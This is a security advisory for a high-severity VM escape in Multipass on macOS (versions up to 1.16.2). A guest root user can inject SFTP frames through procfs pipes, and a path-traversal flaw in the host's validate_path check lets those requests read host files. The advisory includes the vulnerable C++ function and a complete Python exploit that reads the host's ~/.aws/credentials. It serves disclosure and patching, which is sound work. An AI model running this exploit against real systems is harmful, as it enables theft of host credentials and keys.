Skip to content

SFTP Server VM Escape via Pipe Injection and Path Traversal

High
ricab published GHSA-rhp2-23c4-r34w May 28, 2026

Package

multipass (macOS)

Affected versions

<= 1.16.2

Patched versions

1.16.3

Description

Summary

The Multipass SFTP server (sshfs_server), which runs as root on the host, contains a path containment function (validate_path) that performs a plain string prefix comparison with no .. normalisation. A root process inside the guest can inject raw SFTP frames directly into sshfs's stdin pipe via procfs, sending a crafted SSH_FXP_OPEN request with a path traversal that passes the check. The host SFTP server opens the traversed path with root privilege and returns the file contents. This is a VM escape: guest code reads host files outside any declared mount boundary and leaves no artifact on the host.


Details

multipass mount spawns sshfs_server on the host as root. Inside the guest, sshfs -o slave connects to it over an SSH channel. Every SFTP request the guest issues is executed by the server against the host filesystem with root privilege.

Affected source locations:

File Lines Issue
src/sshfs_mount/sftp_server.cpp 226–232 validate_path: raw prefix comparison, no separator check, no .. normalisation

After the SFTP handshake completes, the data on sshfs's stdin/stdout pipes is raw SFTP binary protocol. From /proc/<sshfs_pid>/fd/0 and /fd/1 (accessible as root inside the guest), a crafted SSH_FXP_OPEN request can be written directly to the server, bypassing the FUSE layer entirely. The path /Users/<user>/multipass_restrict/../.aws/credentials passes validate_path because its first N bytes match source_path; the OS resolves .. at ::open() time on the host.

validate_path in full:

auto validate_path(const std::string& source_path, const std::string& current_path)
{
    if (source_path.empty())
        return false;
    return current_path.compare(0, source_path.length(), source_path) == 0;
}

No separator check. No normalisation. /Users/<user>/multipass_restrict/../.aws/credentials passes.


Testing scope:

Confirmed on macOS Tahoe 26.4.1 with Multipass 1.16.1+mac. Not tested on Linux or Windows.


Prerequisites and initial setup (run on the host):

  1. A running Multipass VM (any name; poc-lpe-46646 used here).
  2. A host directory mounted into the guest — the shared directory is the anchor for the path traversal.
# Create the directory that will be shared into the VM
mkdir -p ~/multipass_restrict

# Mount it into the running VM
multipass mount ~/multipass_restrict poc-lpe-46646:/home/ubuntu/multipass_restrict
Screenshot 2026-04-26 at 03 22 51

The default multipass mount invocation creates a UID mapping for the invoking user (501:default on macOS) with no additional flags. This is the configuration present in every default Multipass installation.

PoC

Before running: the exploit script and all paths contain the username <user> hardcoded. Update every occurrence of /Users/<user>/ to match the actual host username in the test environment before executing. The script is attached separately.


Screenshot 2026-04-26 at 03 24 11

Impact

Requirement: Root inside the guest. Leaves no artifact on the host.

When a virtual machine is installed, by default, the sudo command works without a password because the ubuntu user is in the sudo group. Root inside the guest is therefore trivially obtained by any user with a shell session, making this attack reachable without additional preconditions on a default Multipass VM.

Any file owned by the host user is reachable through path traversal: ~/.ssh/id_rsa, ~/.aws/credentials, ~/.kube/config, ~/.ssh/authorized_keys, macOS keychain exports, and any other file accessible to root on the host.

PoC

#!/usr/bin/env python3
"""
SFTP Server VM Escape via Pipe Injection and Path Traversal
Author: @espreto
"""
import os, struct, signal, time, sys, subprocess

def pack_str(s):
    if isinstance(s, str):
        s = s.encode()
    return struct.pack('>I', len(s)) + s

def make_sftp_msg(msg_type, payload):
    body = bytes([msg_type]) + payload
    return struct.pack('>I', len(body)) + body

def read_exactly(fd, n, timeout=3.0):
    buf = b''
    deadline = time.time() + timeout
    while len(buf) < n:
        remaining = deadline - time.time()
        if remaining <= 0:
            raise TimeoutError(f"read_exactly: got {len(buf)}/{n} bytes")
        try:
            chunk = os.read(fd, n - len(buf))
            if not chunk:
                raise EOFError("pipe closed")
            buf += chunk
        except BlockingIOError:
            time.sleep(0.05)
    return buf

def read_sftp_msg(fd, timeout=5.0):
    hdr = read_exactly(fd, 4, timeout)
    length = struct.unpack('>I', hdr)[0]
    body = read_exactly(fd, length, timeout)
    return body[0], body[1:]  # (type_byte, payload)

SSH_FXP_OPEN   = 3
SSH_FXP_READ   = 5
SSH_FXP_CLOSE  = 4
SSH_FXP_STATUS = 101
SSH_FXP_HANDLE = 102
SSH_FXP_DATA   = 103

STATUS_CODES = {0: 'OK', 1: 'EOF', 2: 'NO_SUCH_FILE', 3: 'PERMISSION_DENIED',
                4: 'FAILURE', 5: 'BAD_MESSAGE', 6: 'NO_CONNECTION',
                7: 'CONNECTION_LOST', 8: 'OP_UNSUPPORTED'}

print("[*] SFTP Pipe Injection (From Inside Guest VM)")

try:
    out = subprocess.check_output(['pgrep', '-f', 'sshfs.*slave']).decode().split()
    sshfs_pid = int(out[-1])
    print(f"[*] sshfs PID(s): {out}")
    print(f"[*] Using PID: {sshfs_pid}")
except subprocess.CalledProcessError:
    print("ERROR: sshfs process not found")
    sys.exit(1)

fd0_link = os.readlink(f'/proc/{sshfs_pid}/fd/0')
fd1_link = os.readlink(f'/proc/{sshfs_pid}/fd/1')
print(f"[*] fd/0 (stdin/responses): {fd0_link}")
print(f"[*] fd/1 (stdout/requests): {fd1_link}")

if 'pipe' not in fd0_link or 'pipe' not in fd1_link:
    print("ERROR: FDs are not pipes — unexpected topology")
    sys.exit(1)

print(f"[*] Sending SIGSTOP to PID {sshfs_pid}...")
os.kill(sshfs_pid, signal.SIGSTOP)
time.sleep(0.3)

try:
    write_fd = os.open(f'/proc/{sshfs_pid}/fd/1', os.O_WRONLY)
    read_fd  = os.open(f'/proc/{sshfs_pid}/fd/0', os.O_RDONLY | os.O_NONBLOCK)
    print(f"[+] Opened pipe write_fd={write_fd}, read_fd={read_fd}")

    target_path = '/Users/<user>/multipass_restrict/../.aws/credentials'
    req_id = 0xBEEF

    open_payload = (
        struct.pack('>I', req_id) +
        pack_str(target_path) +
        struct.pack('>I', 1) +   # pflags: SSH_FXF_READ = 0x1
        struct.pack('>I', 0)     # attrs: no attributes
    )
    msg = make_sftp_msg(SSH_FXP_OPEN, open_payload)

    print(f"[*] Injecting SFTP_OPEN (req_id=0x{req_id:04X})")

    os.write(write_fd, msg)
    time.sleep(0.8)

    msg_type, payload = read_sftp_msg(read_fd, timeout=4.0)
    print(f"[*] Response: type=0x{msg_type:02X} ({msg_type})")

    if msg_type == SSH_FXP_HANDLE:
        resp_id = struct.unpack('>I', payload[:4])[0]
        handle_len = struct.unpack('>I', payload[4:8])[0]
        handle = payload[8:8 + handle_len]
        print(f"[+] SSH_FXP_HANDLE received! handle={handle.hex()}")

        read_req_id = req_id + 1
        read_payload = (
            struct.pack('>I', read_req_id) +
            pack_str(handle) +
            struct.pack('>Q', 0) +
            struct.pack('>I', 65536)
        )
        os.write(write_fd, make_sftp_msg(SSH_FXP_READ, read_payload))
        time.sleep(0.8)

        msg_type2, payload2 = read_sftp_msg(read_fd, timeout=4.0)
        if msg_type2 == SSH_FXP_DATA:
            data_len = struct.unpack('>I', payload2[4:8])[0]
            data = payload2[8:8 + data_len]
            print("[!] FILE CONTENTS READ FROM INSIDE GUEST VM:\n")
            print(data.decode(errors='replace'))
            print(f"[+] Successfully read {len(data)} bytes of host file")
            print(f"[+] File: {target_path}")
        elif msg_type2 == SSH_FXP_STATUS:
            code = struct.unpack('>I', payload2[4:8])[0]
            print(f"[-] SSH_FXP_STATUS on READ: code={code} ({STATUS_CODES.get(code,'?')})")

        close_payload = struct.pack('>I', req_id + 2) + pack_str(handle)
        os.write(write_fd, make_sftp_msg(SSH_FXP_CLOSE, close_payload))

    elif msg_type == SSH_FXP_STATUS:
        code = struct.unpack('>I', payload[4:8])[0]
        print(f"[-] SSH_FXP_STATUS: code={code} ({STATUS_CODES.get(code, f'unknown({code})')})")

finally:
    os.kill(sshfs_pid, signal.SIGCONT)
    print(f"[*] SIGCONT sent — sshfs resumed (PID {sshfs_pid})")
    print("[*] Mount should be functional again.")

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

CVE ID

CVE-2026-49238

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits